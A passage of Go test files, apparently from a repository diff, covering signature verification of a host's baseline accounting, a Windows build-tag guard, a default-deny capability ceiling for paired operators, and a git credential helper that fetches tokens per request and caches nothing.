isolateConfigDir(t)
// The fleet's shape (root CA, intermediate-issued leaf), so the host's
// verifier is proven against what machines actually send.
// Only the name a Host with no platform reads: the fixture ships in that
// Host's source, and its verifier must need no other name.
u, err := url.Parse(hostFPSANPrefix + "fp-fixture-0001")
if err != nil {
t.Fatal(err)
}
fx := newChainedSigningFixtureWithURIs(t, "fp-fixture-0001", []*url.URL{u})
writeSigningPairing(t, "fixture.host.example.test", fx)
if err := baselineSave(sampleBaseline()); err != nil {
t.Fatal(err)
}
p, _ := baselinePath()
b, _ := os.ReadFile(p)
if err := os.MkdirAll(out, 0o755); err != nil {
t.Fatal(err)
}
for name, body := range map[string]string{
"baseline.json": string(b), "ca.pem": fx.caPEM, "fingerprint": fx.fp + "\n",
} {
if err := os.WriteFile(filepath.Join(out, name), []byte(body), 0o644); err != nil {
t.Fatal(err)
}
}
t.Logf("fixture written to %s", out)
}
// THE NOTE IS WHAT THE MACHINE READS. `observe:baseline:show` and the delta
// pass both judge the accounting through baselineAttestationNote, not through
// baselineVerify directly — so a mutation that made the note ignore a failed
// verification survived every test above. This drives the note on an edited
// file and, where the pass can run, checks the note rides the delta's notes and
// so the beat.
func TestAnEditedAccountingIsFlaggedByTheNoteAndRidesTheDelta(t *testing.T) {
isolateConfigDir(t)
fx := newSigningFixture(t, "fp-one")
writeSigningPairing(t, "one.host.privatae.ai", fx)
if err := baselineSave(sampleBaseline()); err != nil {
t.Fatal(err)
}
p, _ := baselinePath()
b, _ := os.ReadFile(p)
edited := strings.Replace(string(b), `"unreadable": 3`, `"unreadable": 0`, 1)
if edited == string(b) {
t.Fatal("the fixture edit did not apply, so this test proves nothing")
}
// Keep the self-digest VALID so the only thing wrong is the signature —
// otherwise the integrity note fires and the attestation note is untested.
var f baselineFile
if err := json.Unmarshal([]byte(edited), &f); err != nil {
t.Fatal(err)
}
d, _ := baselineDigestOf(f)
f.Digest = d
re, _ := json.MarshalIndent(f, "", " ")
if err := os.WriteFile(p, re, 0o600); err != nil {
t.Fatal(err)
}
loaded, digestOK, _ := baselineLoad()
if !digestOK {
t.Fatal("the fixture's digest is not valid, so the integrity note would mask this")
}
n := baselineAttestationNote(loaded)
if !strings.Contains(n, "content has changed") {
t.Fatalf("the note did not flag an edited accounting: %q", n)
}
if !processIsRoot() {
t.Log("not root: the delta pass cannot run here; the note itself is verified above")
return
}
r := deltaPass(&digestCache{}, time.Now(), deltaRoleOperator)
found := false
for _, note := range r.Notes {
if strings.HasPrefix(note, "attestation: ") && strings.Contains(note, "content has changed") {
found = true
}
}
if !found {
t.Fatalf("the delta pass did not carry the attestation failure in its notes: %v", r.Notes)
}
}
// The canonical form REFUSES what the two encoders disagree on, so adding a
// float or a big integer to the accounting fails here — loudly, at signing —
// rather than as a false "tampered" verdict on every host.
func TestCanonicalRefusesNumbersTheEncodersDisagreeOn(t *testing.T) {
for _, c := range []struct{ name, json string }{
{"a float", `{"unreadable": 1.5}`},
{"an integral float", `{"unreadable": 1.0}`},
{"a small exponent", `{"unreadable": 1e-7}`},
{"an integer past 2^53", `{"unreadable": 9223372036854775807}`},
} {
dec := json.NewDecoder(strings.NewReader(c.json))
dec.UseNumber()
var m map[string]any
if err := dec.Decode(&m); err != nil {
t.Fatal(err)
}
if err := baselineCheckNumbers(m, "$"); err == nil {
t.Fatalf("%s was accepted into the canonical form", c.name)
}
}
// And the accounting as it actually is — one small integer — is fine.
if _, err := baselineCanonical(sampleBaseline()); err != nil {
t.Fatalf("a real accounting was refused: %v", err)
}
// THE 2^53 BOUNDARY, probed AT the boundary. The cases above jump straight
// to max-int64, so a mutation widening the bound to 2^60 survived: 2^54
// would then be accepted here and refused by the host — a live asymmetry.
for _, c := range []struct {
lit string
accept bool
}{
{"9007199254740992", true}, // 2^53
{"9007199254740993", false}, // 2^53 + 1
{"-9007199254740992", true}, // -2^53
{"-9007199254740993", false}, // -(2^53 + 1)
{"18014398509481984", false}, // 2^54
} {
d := json.NewDecoder(strings.NewReader(`{"unreadable": ` + c.lit + `}`))
d.UseNumber()
var mm map[string]any
_ = d.Decode(&mm)
err := baselineCheckNumbers(mm, "$")
if (err == nil) != c.accept {
t.Fatalf("%s: accepted=%v, want %v", c.lit, err == nil, c.accept)
}
}
// -0: the one form neither side would otherwise catch.
dec := json.NewDecoder(strings.NewReader(`{"unreadable": -0}`))
dec.UseNumber()
var m map[string]any
_ = dec.Decode(&m)
if err := baselineCheckNumbers(m, "$"); err == nil {
t.Fatal("-0 was accepted into the canonical form")
}
// A number INSIDE the derived keys is dropped before it can be refused —
// the host does the same, and the two must agree.
if _, err := baselineCanonicalBytes([]byte(`{"unreadable":1,"attestation":{"key_version":2.5},"digest":"d"}`)); err != nil {
t.Fatalf("a number inside a derived key was refused, which the host would verify: %v", err)
}
}
// ── signing review round ────────────────────────────────────────────────────
// THE GOLDEN VECTOR. The canonical bytes for a fixed accounting, as a literal.
// This is the cross-language contract: the box signs and verifies the same
// bytes, so a change here (a kept trailing newline, HTML escaping back on, a
// dropped key) passes every self-consistency test while breaking every host.
// Only a pinned literal catches it. If this changes deliberately, the Python
// side's fixture must be regenerated in the same change.
func TestCanonicalBytesAreTheGoldenVector(t *testing.T) {
f := baselineFile{
Version: "privatae-baseline-v2", TakenAt: "2026-09-19T10:00:00Z",
Coverage: "processes=all,schedulers=all",
Entries: []baselineEntry{{FP: "aaa", Kind: "process", Exe: `/opt/naïve <app> & "co"\bin`,
User: "root", ArgvShape: "x --y"}},
Unreadable: 3, Digest: "ignored", UnsignedReason: "",
}
got, err := baselineCanonical(f)
if err != nil {
t.Fatal(err)
}
want := `{"coverage":"processes=all,schedulers=all","entries":[{"argv_shape":"x --y","exe":"/opt/naïve <app> & \"co\"\\bin","fp":"aaa","kind":"process","user":"root"}],"taken_at":"2026-09-19T10:00:00Z","unreadable":3,"version":"privatae-baseline-v2"}`
if string(got) != want {
t.Fatalf("canonical bytes moved.\n got: %s\nwant: %s", got, want)
}
}
func TestAKeylessPairingWritesAnUnsignedAccountingWithTheReason(t *testing.T) {
isolateConfigDir(t)
fx := newSigningFixture(t, "fp-one")
fx.keyPEM = "" // an older pairing that never held an operator key
writeSigningPairing(t, "one.host.privatae.ai", fx)
if err := baselineSave(sampleBaseline()); err != nil {
t.Fatalf("a keyless pairing must not block the accounting: %v", err)
}
f, _, _ := baselineLoad()
if f.Attestation != nil || f.UnsignedReason != baselineUnsignedNoKey {
t.Fatalf("attestation=%v reason=%q", f.Attestation, f.UnsignedReason)
}
}
// Validity is judged at the moment the accounting was TAKEN. A certificate
// that has since expired still verifies an accounting taken while it was
// valid; one that was not yet valid when the accounting was taken is refused,
// and by name.
func TestCertificateValidityIsJudgedWhenTheAccountingWasTaken(t *testing.T) {
isolateConfigDir(t)
fx := newSigningFixture(t, "fp-one")
writeSigningPairing(t, "one.host.privatae.ai", fx)
if err := baselineSave(sampleBaseline()); err != nil {
t.Fatal(err)
}
p, _ := baselinePath()
raw, _ := os.ReadFile(p)
// The same bytes with taken_at moved BEFORE the certificate existed.
before := strings.Replace(string(raw), `"taken_at": "2026-09-19T10:00:00Z"`,
`"taken_at": "2025-01-01T00:00:00Z"`, 1)
if before == string(raw) {
t.Fatal("the fixture edit did not apply")
}
// (Content changed, so the signature fails too — assert the validity check
// fires FIRST and names itself.)
ok, note := baselineVerifyBytes([]byte(before), fx.caPEM, fx.fp)
if ok || !strings.Contains(note, "not valid at the time this accounting was taken") {
t.Fatalf("a certificate not yet valid at taken_at must be refused by name: ok=%v %q", ok, note)
}
// And the real file, whose certificate will one day expire, still verifies
// because it is judged at its own taken_at, not at now.
if ok, note := baselineVerifyBytes(raw, fx.caPEM, fx.fp); !ok {
t.Fatalf("judged at taken_at the real accounting must verify: %s", note)
}
}
func TestAnUnknownAlgorithmIsRefusedByName(t *testing.T) {
isolateConfigDir(t)
fx := newSigningFixture(t, "fp-one")
writeSigningPairing(t, "one.host.privatae.ai", fx)
if err := baselineSave(sampleBaseline()); err != nil {
t.Fatal(err)
}
p, _ := baselinePath()
raw, _ := os.ReadFile(p)
edited := strings.Replace(string(raw), `"alg": "ecdsa-p256-sha256"`, `"alg": "rsa-pss-sha512"`, 1)
if edited == string(raw) {
t.Fatal("the fixture edit did not apply")
}
ok, note := baselineVerifyBytes([]byte(edited), fx.caPEM, fx.fp)
if ok || !strings.Contains(note, "rsa-pss-sha512") {
t.Fatalf("an unknown alg must be refused by name: ok=%v %q", ok, note)
}
}
// A newer bastion's extra field must not read as tampering on an older one:
// the box verifies from the file's own bytes, not through a lossy parse.
func TestAFieldThisBinaryDoesNotKnowStillVerifies(t *testing.T) {
isolateConfigDir(t)
fx := newSigningFixture(t, "fp-one")
writeSigningPairing(t, "one.host.privatae.ai", fx)
// Build the document as a MAP with an unknown field, sign it the way the
// box does, and hand the bytes to the verifier.
m := map[string]any{
"version": baselineVersion, "taken_at": "2026-09-19T10:00:00Z",
"coverage": "processes=all,schedulers=all", "entries": []any{},
"unreadable": 0, "digest": "d",
"future_field": "written by bastion 9.0",
}
rawUnsigned, _ := json.Marshal(m)
canon, err := baselineCanonicalBytes(rawUnsigned)
if err != nil {
t.Fatal(err)
}
key, _ := parseECPrivateKeyPEM(fx.keyPEM)
sum := sha256.Sum256(canon)
sig, _ := ecdsa.SignASN1(rand.Reader, key, sum[:])
m["attestation"] = baselineAttestation{Alg: baselineSigAlg, SignedBy: "one.host.privatae.ai",
SignerCert: fx.leafPEM, Signature: base64.StdEncoding.EncodeToString(sig)}
raw, _ := json.Marshal(m)
ok, note := baselineVerifyBytes(raw, fx.caPEM, fx.fp)
if !ok {
t.Fatalf("a version-skewed file read as tampered on the box: %s", note)
}
}
// unsigned_reason is COVERED by the signature — only digest and attestation
// are dropped — so planting one on a signed file is a content change.
func TestEditingTheUnsignedReasonOnASignedFileFails(t *testing.T) {
isolateConfigDir(t)
fx := newSigningFixture(t, "fp-one")
writeSigningPairing(t, "one.host.privatae.ai", fx)
if err := baselineSave(sampleBaseline()); err != nil {
t.Fatal(err)
}
p, _ := baselinePath()
raw, _ := os.ReadFile(p)
edited := strings.Replace(string(raw), `"attestation": {`, `"unsigned_reason": "planted",
"attestation": {`, 1)
if edited == string(raw) {
t.Fatal("the fixture edit did not apply")
}
if ok, _ := baselineVerifyBytes([]byte(edited), fx.caPEM, fx.fp); ok {
t.Fatal("an edited unsigned_reason verified — it is not covered by the signature")
}
}
// A platform-issued certificate names the fingerprint under the platform's name
// only, a Host with no platform's under its own; each verifies alone.
func TestAFingerprintUnderEitherNameVerifies(t *testing.T) {
for _, prefix := range []string{fpSANPrefix, hostFPSANPrefix} {
isolateConfigDir(t)
u, _ := url.Parse(prefix + "fp-one")
fx := newSigningFixtureWithURIs(t, "fp-one", []*url.URL{u})
writeSigningPairing(t, "one.host.example.test", fx)
if err := baselineSave(sampleBaseline()); err != nil {
t.Fatal(err)
}
f, _, _ := baselineLoad()
if ok, note := baselineVerify(f, fx.caPEM, "fp-one"); !ok {
t.Fatalf("%s: a fingerprint under this name alone must verify: %q", prefix, note)
}
}
}
// Two names carrying two different fingerprints name two machines; the
// verifier refuses rather than picking one.
func TestACertificateNamingTwoMachinesIsRefused(t *testing.T) {
isolateConfigDir(t)
a, _ := url.Parse(fpSANPrefix + "fp-one")
b, _ := url.Parse(hostFPSANPrefix + "fp-two")
fx := newSigningFixtureWithURIs(t, "fp-one", []*url.URL{a, b})
writeSigningPairing(t, "one.host.example.test", fx)
if err := baselineSave(sampleBaseline()); err != nil {
t.Fatal(err)
}
f, _, _ := baselineLoad()
ok, note := baselineVerify(f, fx.caPEM, "")
if ok || !strings.Contains(note, "two different device fingerprints") {
t.Fatalf("two fingerprints must be refused by name: ok=%v note=%q", ok, note)
}
}
+41
View File
@@ -0,0 +1,41 @@
//go:build !windows
package main
// Tagged !windows because it borrows setupBox and writePairingState from
// anchor_test.go, which is itself !windows — the repo guard
// (TestATestFileBorrowingAUnixFixtureCarriesTheTag) exists so a borrowed unix
// fixture cannot make `GOOS=windows go vet` red, and it caught exactly that
// when this test first landed untagged. The rest of the signing tests build
// their own fixtures and stay portable in baselinesign_test.go.
import "testing"
func TestAnAnchorPairingThatIsNotActiveDoesNotSign(t *testing.T) {
// A REAL anchored box (setupBox claims tAnchor as the anchor), whose anchor
// pairing is then revoked. The first version of this test never claimed an
// anchor, so it exercised the unanchored branch and the mutation that made
// the anchored branch ignore pairing state survived it.
setupBox(t)
writePairingState(t, tAnchor, pairingRevoked)
if currentAnchor() == nil {
t.Fatal("the fixture is not anchored, so this test proves nothing")
}
cfgs, err := loadPairings()
if err != nil {
t.Fatal(err)
}
signer, why := baselineSignerPairing(cfgs)
if signer != nil {
t.Fatalf("a revoked anchor pairing signed: %s", signer.HostName)
}
if why != baselineUnsignedAnchorGone {
t.Fatalf("the reason must be the named constant, got %q", why)
}
// And the pending state is refused the same way.
writePairingState(t, tAnchor, pairingPending)
cfgs, _ = loadPairings()
if signer, why := baselineSignerPairing(cfgs); signer != nil || why != baselineUnsignedAnchorGone {
t.Fatalf("a pending anchor pairing must not sign: %v %q", signer, why)
}
}
+129
View File
@@ -0,0 +1,129 @@
package main
// buildtags_test.go — a test file that borrows a unix-only fixture must say so.
//
// WHY THIS EXISTS. Several test files here use helpers (setupBox, driveOp,
// withConfigDir, …) that live behind `//go:build !windows`. A new test file that
// calls one without carrying the same constraint breaks the WINDOWS test build
// with `undefined: setupBox`.
//
// The trap is which command notices. `GOOS=windows go build ./...` passes —
// build does not compile test files — so a cross-build check reports green
// while `GOOS=windows go vet ./...` is red. That mistake was made twice in this
// package in two days, both times by someone who had run the build and
// believed the target was covered. A comment in the file that needs the tag can
// only be read after it has been written, so this checks it instead.
//
// It is deliberately NOT tagged itself: it must run on the platform people
// actually run tests on, and it reads the tree from disk rather than being
// compiled into any particular target. It asks the TOOLCHAIN whether a file
// belongs in a Windows build (go/build's own MatchFile, which understands every
// constraint form and the _windows.go name suffix) rather than parsing
// constraints by hand.
import (
"go/ast"
"go/build"
"go/parser"
"go/token"
"os"
"strings"
"testing"
)
func TestATestFileBorrowingAUnixFixtureCarriesTheTag(t *testing.T) {
entries, err := os.ReadDir(".")
if err != nil {
t.Fatal(err)
}
win := build.Default
win.GOOS = "windows"
type fileInfo struct {
name string
onWin bool
file *ast.File
fileSet *token.FileSet
}
var files []fileInfo
for _, e := range entries {
n := e.Name()
if e.IsDir() || !strings.HasSuffix(n, "_test.go") {
continue
}
onWin, err := win.MatchFile(".", n)
if err != nil {
t.Fatalf("%s: %v", n, err)
}
fset := token.NewFileSet()
f, err := parser.ParseFile(fset, n, nil, 0)
if err != nil {
t.Fatalf("%s: %v", n, err)
}
files = append(files, fileInfo{n, onWin, f, fset})
}
if len(files) == 0 {
t.Fatal("no test files found — this check would pass vacuously")
}
// Every top-level name declared ONLY in files excluded from a Windows build.
unixOnly := map[string]string{}
for _, fi := range files {
if fi.onWin {
continue
}
for _, d := range fi.file.Decls {
switch decl := d.(type) {
case *ast.FuncDecl:
if decl.Recv == nil {
unixOnly[decl.Name.Name] = fi.name
}
case *ast.GenDecl:
for _, spec := range decl.Specs {
switch s := spec.(type) {
case *ast.ValueSpec:
for _, id := range s.Names {
unixOnly[id.Name] = fi.name
}
case *ast.TypeSpec:
unixOnly[s.Name.Name] = fi.name
}
}
}
}
}
// A name also declared in a Windows-included file is not unix-only.
for _, fi := range files {
if !fi.onWin {
continue
}
for _, d := range fi.file.Decls {
if fn, ok := d.(*ast.FuncDecl); ok && fn.Recv == nil {
delete(unixOnly, fn.Name.Name)
}
}
}
for _, fi := range files {
if !fi.onWin {
continue
}
ast.Inspect(fi.file, func(n ast.Node) bool {
id, ok := n.(*ast.Ident)
if !ok || id.Obj != nil { // id.Obj set = declared in this file
return true
}
if from, bad := unixOnly[id.Name]; bad {
t.Errorf("%s:%d uses %s, which is declared in %s behind a "+
"constraint that excludes Windows. Add this as line 1 of %s:\n"+
"\t//go:build !windows\n"+
"Caught here because `GOOS=windows go build ./...` does NOT compile "+
"test files and would report green; `GOOS=windows go vet ./...` is "+
"what sees it.",
fi.name, fi.fileSet.Position(id.Pos()).Line, id.Name, from, fi.name)
return false
}
return true
})
}
}
+252
View File
@@ -0,0 +1,252 @@
//go:build !windows
// Uses setupBox / driveOp / writePairingState / signTerms / grantTerms /
// tAnchor / tMember from anchor_test.go, which are unix-only. buildtags_test.go
// enforces the tag.
package main
// The caps ceiling cannot be reached by an op nobody classified.
//
// capsAllow used to return "" — allowed — for any op opFamily did not know, so
// a member pairing holding any verified grant could be asked for it whatever
// the anchor had granted. The tests here are the standing guard against that
// returning: one for the DEFAULT (an unclassified op is refused), and one for
// the CLASS (no op on this lane is unclassified in the first place).
import (
"encoding/base64"
"encoding/json"
"strings"
"testing"
"time"
)
// EVERY op this box will answer must map to a family. This is the gate that
// stops the next op added to either table from silently failing open: without
// it, a new handler is reachable by any pairing holding any grant, and nothing
// anywhere says so out loud.
//
// Both tables, because they are two different doors into the same lane —
// handlerOps is the no-exec handlers, p8AllowedOps the shell allowlist — and
// handleMgmtConnFor puts the same ceiling in front of both.
func TestEveryOpOnTheMgmtLaneHasAFamily(t *testing.T) {
check := func(table string, ops []string) {
t.Helper()
var unclassified []string
for _, op := range ops {
if opFamily(op) == "" {
unclassified = append(unclassified, op)
}
}
if len(unclassified) > 0 {
t.Fatalf("these %s ops are in NO capability family:\n %s\n"+
"capsAllowIn default-denies an unclassified op, so each of these is refused for\n"+
"every member pairing on an anchored box — including ones the anchor meant to\n"+
"grant. Give each a family in opFamily (anchor.go). If the op genuinely\n"+
"authorizes nothing, say so explicitly with capsFamilyNone at its gate rather\n"+
"than by leaving it unclassified.", table, strings.Join(unclassified, "\n "))
}
}
handlers := make([]string, 0, len(handlerOps))
for k := range handlerOps {
handlers = append(handlers, k)
}
check("handlerOps", handlers)
p8 := make([]string, 0, len(p8AllowedOps))
for k := range p8AllowedOps {
p8 = append(p8, k)
}
check("p8AllowedOps", p8)
check("sessionOps", sessionOps)
// And the check must not have gone vacuous: an op nobody has classified
// still has no family, or the assertion above proves nothing.
if opFamily("some_future_op") != "" {
t.Fatal("opFamily now answers for an unknown op — the check above asserts nothing")
}
}
// The DEFAULT itself: an op in no family is refused, and the refusal says so
// rather than quoting a family it does not have.
func TestUnclassifiedOpIsDefaultDenied(t *testing.T) {
priv := setupBox(t)
writePairingState(t, tMember, pairingPending)
future := time.Now().Add(time.Hour).UTC().Format(time.RFC3339)
terms, sig := signTerms(t, priv, grantTerms(tMember, []string{"observe", "dcn", "session"}, future))
if _, errOut, code := driveOp(t, tAnchor, "pairing_grant_sync", []string{terms, sig}); code != 0 {
t.Fatalf("grant: %d %s", code, errOut)
}
// A broadly-granted member is still refused an op in no family.
why := capsAllow(tMember, "some_op_in_no_family")
if why == "" {
t.Fatal("an op in no capability family must be refused on an anchored box")
}
if !strings.Contains(why, "no capability family") {
t.Fatalf("the refusal must say the op is in no family, got %q", why)
}
// The ANCHOR pairing is unaffected: it returns before the family check,
// because its user is the admin of this machine.
if why := capsAllow(tAnchor, "some_op_in_no_family"); why != "" {
t.Fatalf("the anchor pairing must stay unconstrained: %s", why)
}
// And a LOCAL box gates nothing at all — capsAllow returns on a nil anchor
// long before the family check, which is what keeps every local
// bastion unchanged by this.
t.Setenv("XDG_CONFIG_HOME", t.TempDir())
if boxMode() != modeLocal {
t.Fatalf("a box with no mode file must be local, got %s", boxMode())
}
if why := capsAllow(tMember, "some_op_in_no_family"); why != "" {
t.Fatalf("a LOCAL bastion must not be gated by this: %s", why)
}
}
// stepupDetails builds the b64 details argument for one request kind.
func stepupDetails(t *testing.T, d map[string]any) string {
t.Helper()
raw, err := json.Marshal(d)
if err != nil {
t.Fatal(err)
}
return base64.StdEncoding.EncodeToString(raw)
}
// A step-up is gated on the family of the thing being APPROVED.
//
// The bypass this closes: a pairing granted only "observe" could raise a
// step-up for any of the four kinds that DO authorize a capability of this
// machine — a DCN store grant or move plan, a root shell, a model download —
// with a purpose and details of its own choosing, putting the prompt in front
// of the user. It could not self-approve. The fifth kind, critical_action,
// stays reachable by any pairing holding a verified grant and that is
// deliberate, not a leftover: the box is not the enforcer there (the platform
// executes once it sees an approval), the second factor is per pairing dir, and
// approving one consumes no capability of this machine — so there is no family
// that could honestly be named for it. See stepupKindFamily.
//
// The regression it avoids: gating all five as "dcn" would stop a session-only
// pairing raising the step-up session:root requires.
func TestStepupIsGatedOnTheApprovedFamily(t *testing.T) {
// observe only: every kind refused, including the one it might be thought
// to be entitled to by holding a grant at all.
priv := setupBox(t)
writePairingState(t, tMember, pairingPending)
future := time.Now().Add(time.Hour).UTC().Format(time.RFC3339)
terms, sig := signTerms(t, priv, grantTerms(tMember, []string{"observe"}, future))
if _, errOut, code := driveOp(t, tAnchor, "pairing_grant_sync", []string{terms, sig}); code != 0 {
t.Fatalf("grant: %d %s", code, errOut)
}
for _, kind := range []string{"dcn_store_grant", "dcn_move_plan", "session_root", "model_pull"} {
args := []string{"p", stepupDetails(t, map[string]any{"kind": kind})}
_, errOut, code := driveOp(t, tMember, "stepup_request", args)
if code != 126 || !strings.Contains(errOut, "caps") {
t.Fatalf("an observe-only pairing must be refused a %s step-up: %d %s", kind, code, errOut)
}
}
// session only: the root-shell step-up is its own lane's and must pass the
// ceiling, while a dcn one is still refused.
priv = setupBox(t)
writePairingState(t, tMember, pairingPending)
future = time.Now().Add(time.Hour).UTC().Format(time.RFC3339)
terms, sig = signTerms(t, priv, grantTerms(tMember, []string{"session"}, future))
if _, errOut, code := driveOp(t, tAnchor, "pairing_grant_sync", []string{terms, sig}); code != 0 {
t.Fatalf("grant: %d %s", code, errOut)
}
args := []string{"p", stepupDetails(t, map[string]any{"kind": "session_root"})}
if _, errOut, _ := driveOp(t, tMember, "stepup_request", args); strings.Contains(errOut, "caps") {
t.Fatalf("a session pairing must pass the ceiling for a session_root step-up: %s", errOut)
}
args = []string{"p", stepupDetails(t, map[string]any{"kind": "dcn_store_grant"})}
if _, errOut, code := driveOp(t, tMember, "stepup_request", args); code != 126 ||
!strings.Contains(errOut, "caps") {
t.Fatalf("a session pairing must still be refused a dcn step-up: %d %s", code, errOut)
}
// models only: the model_pull step-up passes, a root shell does not.
priv = setupBox(t)
writePairingState(t, tMember, pairingPending)
future = time.Now().Add(time.Hour).UTC().Format(time.RFC3339)
terms, sig = signTerms(t, priv, grantTerms(tMember, []string{modelGateOpFamily}, future))
if _, errOut, code := driveOp(t, tAnchor, "pairing_grant_sync", []string{terms, sig}); code != 0 {
t.Fatalf("grant: %d %s", code, errOut)
}
args = []string{"p", stepupDetails(t, map[string]any{"kind": "model_pull"})}
if _, errOut, _ := driveOp(t, tMember, "stepup_request", args); strings.Contains(errOut, "caps") {
t.Fatalf("a models pairing must pass the ceiling for a model_pull step-up: %s", errOut)
}
args = []string{"p", stepupDetails(t, map[string]any{"kind": "session_root"})}
if _, errOut, code := driveOp(t, tMember, "stepup_request", args); code != 126 ||
!strings.Contains(errOut, "caps") {
t.Fatalf("a models pairing must be refused a root-shell step-up: %d %s", code, errOut)
}
}
// The kind→family map is the whole gate, so it is asserted directly: a wrong
// entry here is a bypass that no amount of frame-level testing would name.
func TestStepupKindFamilies(t *testing.T) {
for kind, want := range map[string]string{
"dcn_store_grant": "dcn",
"dcn_move_plan": "dcn",
"session_root": "session",
"model_pull": modelGateOpFamily,
// The box is not the enforcer for a platform critical action, so no
// capability of THIS machine is being authorized and there is no family
// to name. Holding a verified grant is the ceiling.
"critical_action": capsFamilyNone,
// Anything purposeFromDetails would refuse anyway.
"": capsFamilyNone,
"made_up_kind": capsFamilyNone,
} {
if got := stepupKindFamily(kind); got != want {
t.Errorf("stepupKindFamily(%q) = %q, want %q", kind, got, want)
}
}
// Every kind purposeFromDetails accepts must be mapped here, or a real
// approval flow is refused for a pairing that should hold it. The list is
// the switch in purposeFromDetails (stepup.go).
for _, kind := range []string{"dcn_store_grant", "dcn_move_plan", "session_root",
"critical_action", "model_pull"} {
fam := stepupKindFamily(kind)
if fam == "" {
t.Fatalf("kind %q maps to the empty family, which default-denies every "+
"pairing including ones that should hold it", kind)
}
if fam == capsFamilyNone {
continue
}
found := false
for _, c := range allCaps {
found = found || c == fam
}
if !found {
t.Fatalf("kind %q maps to family %q, which is not in allCaps %v — ungrantable, "+
"so this approval flow could never be opened for any pairing", kind, fam, allCaps)
}
}
}
// The local UI decides whether to show a family as HELD by probing capsAllow
// with one representative op (uigiven.go:484). Under default-deny an
// unclassified probe reads as "not held" for every pairing, so the machine's
// own admin page would quietly show a family the pairing does have as absent.
// The probes are all classified today; this keeps a rename from changing that.
func TestEveryUIProbeIsClassified(t *testing.T) {
for _, f := range uiGivenFamilies {
fam := opFamily(f.Probe)
if fam == "" {
t.Fatalf("the %q family probes with %q, which is in no capability family — "+
"capsAllow default-denies it, so this family would read as NOT HELD on the "+
"local UI for every pairing that actually holds it", f.Name, f.Probe)
}
if fam != f.Name {
t.Fatalf("the %q family probes with %q, which resolves to family %q — the probe "+
"must test its OWN family or the page reports the wrong one", f.Name, f.Probe, fam)
}
}
}
+431
View File
@@ -0,0 +1,431 @@
//go:build !windows
// The git half runs a stand-in helper as a shell script, so it is unix-only.
package main
// No secrets cached for git. The credential helper asks the running daemon
// for a token on every auth and keeps nothing; store and erase are no-ops;
// and the lines git-setup prints reset git's helper chain for the forge so a
// helper configured before them never sees the token. The daemon here is a
// loopback test server, and git runs against a throwaway HOME.
import (
"bufio"
"encoding/base64"
"encoding/json"
"fmt"
"io"
"net"
"net/http"
"net/http/cgi"
"net/http/httptest"
"os"
"os/exec"
"path/filepath"
"strings"
"sync/atomic"
"testing"
)
// withStdio runs fn with stdin fed from in and returns what it wrote to stdout.
func withStdio(t *testing.T, in string, fn func()) string {
t.Helper()
oldIn, oldOut := os.Stdin, os.Stdout
ir, iw, _ := os.Pipe()
or, ow, _ := os.Pipe()
os.Stdin, os.Stdout = ir, ow
go func() { _, _ = io.WriteString(iw, in); _ = iw.Close() }()
done := make(chan string)
go func() { b, _ := io.ReadAll(or); done <- string(b) }()
fn()
_ = ow.Close()
os.Stdin, os.Stdout = oldIn, oldOut
_ = ir.Close()
return <-done
}
// gitPairing writes one pairing whose control port is addr.
func gitPairing(t *testing.T, host, addr, secret string) {
t.Helper()
pd, err := pairingsDir()
if err != nil {
t.Fatal(err)
}
b, _ := json.Marshal(Config{HostName: host, WGPrivateKey: "k", BastionTunnelIP: "2001:db8::a:1",
ListenAddr: addr, OperatorSecret: secret, GitProxyAddr: "127.0.0.1:7978"})
if err := os.WriteFile(filepath.Join(pd, host+".json"), b, 0o600); err != nil {
t.Fatal(err)
}
}
// configTree lists every file under the config dir with its contents.
func configTree(t *testing.T, root string) string {
t.Helper()
var b strings.Builder
_ = filepath.Walk(root, func(p string, fi os.FileInfo, err error) error {
if err == nil && !fi.IsDir() {
raw, _ := os.ReadFile(p)
fmt.Fprintf(&b, "%s\n%s\n", p, raw)
}
return nil
})
return b.String()
}
func TestTheGitHelperFetchesATokenPerAuthAndStoresNothing(t *testing.T) {
cfgDir := uiTestConfigDir(t)
var asked atomic.Int64
daemon := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
if r.URL.Path != "/git-credential" || r.Header.Get("Authorization") != "Bearer local-secret" {
http.Error(w, "unauthorized", http.StatusUnauthorized)
return
}
n := asked.Add(1)
fmt.Fprintf(w, "username=forge\npassword=token-%d\n", n)
}))
defer daemon.Close()
gitPairing(t, "h.host.privatae.ai", strings.TrimPrefix(daemon.URL, "http://"), "local-secret")
before := configTree(t, cfgDir)
ask := "protocol=https\nhost=" + gitForgeHost + "\n\n"
for i := 1; i <= 3; i++ {
out := withStdio(t, ask, func() {
if err := cmdGitCredential("", "get"); err != nil {
t.Fatal(err)
}
})
if want := fmt.Sprintf("password=token-%d\n", i); !strings.Contains(out, want) {
t.Fatalf("auth %d: the helper must relay a fresh token from the daemon (%q), got %q", i, want, out)
}
}
if asked.Load() != 3 {
t.Fatalf("three auths must be three requests to the daemon, got %d", asked.Load())
}
// git hands the helper the token to store, and later to erase: both are
// no-ops, and neither reaches the daemon or the disk.
for _, action := range []string{"store", "erase"} {
out := withStdio(t, ask+"username=forge\npassword=token-1\n\n", func() {
if err := cmdGitCredential("", action); err != nil {
t.Fatal(err)
}
})
if out != "" {
t.Fatalf("%s must print nothing, printed %q", action, out)
}
}
// Another forge: not ours, so nothing is asked and nothing is answered.
out := withStdio(t, "protocol=https\nhost=github.com\n\n", func() {
if err := cmdGitCredential("", "get"); err != nil {
t.Fatal(err)
}
})
if out != "" || asked.Load() != 3 {
t.Fatalf("a request for another host must go nowhere: printed %q, %d requests", out, asked.Load())
}
if after := configTree(t, cfgDir); after != before {
t.Fatalf("the helper wrote to the bastion's config:\nbefore:\n%s\nafter:\n%s", before, after)
}
}
// splitShellish splits one printed `git config` line into argv, honouring
// the double quotes git-setup prints around the helper value.
func splitShellish(line string) []string {
var out []string
var cur strings.Builder
inQ, any := false, false
for _, r := range line {
switch {
case r == '"':
inQ, any = !inQ, true
case r == ' ' && !inQ:
if any || cur.Len() > 0 {
out = append(out, cur.String())
}
cur.Reset()
any = false
default:
cur.WriteRune(r)
}
}
if any || cur.Len() > 0 {
out = append(out, cur.String())
}
return out
}
func TestGitSetupResetsTheHelperChainBeforeItsOwnHelper(t *testing.T) {
uiTestConfigDir(t)
gitPairing(t, "h.host.privatae.ai", "127.0.0.1:7878", "s")
out := withStdio(t, "", func() {
if err := cmdGitSetup(); err != nil {
t.Fatal(err)
}
})
var helperLines []string
for _, l := range strings.Split(out, "\n") {
if l = strings.TrimSpace(l); strings.Contains(l, ".helper") {
helperLines = append(helperLines, l)
}
}
